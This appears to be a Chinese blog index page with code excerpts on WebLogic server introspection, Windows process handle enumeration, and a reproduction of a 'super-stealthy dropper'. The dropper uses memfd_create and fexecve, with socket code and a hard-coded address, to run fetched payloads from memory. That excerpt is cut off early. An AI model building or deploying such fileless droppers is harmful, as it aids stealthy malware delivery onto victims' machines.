Learning

参考 get-the-name-of-the-server-in-which-i-am-receiving-requests-to-my-app-on-weblogi try { InitialContext ctx = new InitialContext(); String serverName = System.getProperty("weblogic.Name"); MBeanServer server = (MBeanServer)ctx.lookup("java:comp/env/jmx/runtime"); ObjectName objName = new ObjectName("com.bea:Name=" + serverName + ",Type=ServerRuntime"); Integer port = (Integer)server.getAttribute(objName, "ListenPort"); String ListenAddress = (String)server.getAttribute(objName, "ListenAddress"); String WeblogicVersion = (String)server.getAttribute(objName, "WeblogicVersion"); System.out.println("Server Name : " + serverName + "Listen Address : " + ListenAddress + " PORT : " + port + " WeblogicVersion : " + WeblogicVersion); } catch(Exception e) { // }

    代码来自 Enumerating opened handles from a process ，改了几个小bug      #ifndef UNICODE #define UNICODE #endif #include "stdafx.h" #include <windows.h> #include <stdio.h> #define NT_SUCCESS(x) ((x) >= 0) #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectBasicInformation 0 #define ObjectNameInformation 1 #define ObjectTypeInformation 2 typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI *_NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI *_NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _U...

本文是对  Super-Stealthy Droppers 的复现，测试发现代码有些bug，在远程利用时会问题，稍作完善了下。 memfd_create + fexecve  memfd_create需要 kernel 3.17以上，fexecve需要2.3.2以上 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #define __NR_memfd_create  319 #define MFD_CLOEXEC  1 static   inline  int   memfd_create( const   char   *name, unsigned  int   flags) {      return   syscall(__NR_memfd_create, name, flags); } extern  char          **environ; int   main ( int   argc,  char   **argv) {    int                  fd, s;    unsigned  long        addr =  0x010...